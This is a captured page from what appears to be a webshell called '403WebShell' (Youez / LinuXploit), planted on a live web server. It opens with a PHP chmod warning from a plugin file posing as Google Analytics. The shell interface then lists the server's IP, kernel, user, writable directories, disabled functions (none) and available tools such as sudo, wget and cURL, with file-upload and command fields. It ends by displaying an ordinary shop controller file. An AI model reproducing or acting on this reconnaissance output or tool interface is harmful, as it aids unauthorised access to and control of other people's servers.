Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/theyoungdesigners_com/modules/storeImage/controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/theyoungdesigners_com/modules/storeImage/controller/admin.php
<?php

class StoreImageAdmin_Controller extends Controller {

	public function __construct() {
		parent::__construct(dirname(__DIR__));
	}
	
	public function __Register() {
		$this->RegisterView(__CLASS__ .'::store_image', ['storeclient_images' => ['storeimage_tab']]);
	}

	/* staff */
	public function store_image($product_id = '', $action = '') {
		if ($this->isPost && $action=='') {
			$action = $this->post('action');
		}
		$res = $this->DefaultResult(__METHOD__);
		$model = $this->LoadModel('images_model');
		$media = $model->ProductId($product_id)
						->getImageData();
			
		switch($action) {
			
			case 'reorder':
				$id = hook_execute( 'nonce.verify', FALSE, 'product', FALSE, $this->param('auth', '') );
				if (!is_numeric($id)) {
					return [
						'result' => -2, 
						'message' => 'You do not have permission to access this function',
					];
				} elseif ($product_id != $id) {
					return [
						'result' => -3, 
						'message' => 'Invalid "auth" token',
					];
				}
				$model->setImageOrder($this->post('items', []));
				break;
			
			default:
				$param = [
					'param' => 'product:' . $product_id,
				];
				$res['template'] = 'storeimage_tab';
				$res['vc_id'] = $product_id;
				$res['media'] = $media;
				$res['auth'] = hook_execute('nonce.create', FALSE, 'mediaact', md5(''), 1800);			// for the upload
				$res['auth2'] = hook_execute('nonce.create', FALSE, 'product', $product_id, 1800);		// for popup
				$res['config'] = json_encode($param, JSON_UNESCAPED_SLASHES);
				break;
		}
			
		return $res;
	}
	
}

Youez - 2016 - github.com/yon3zu
LinuXploit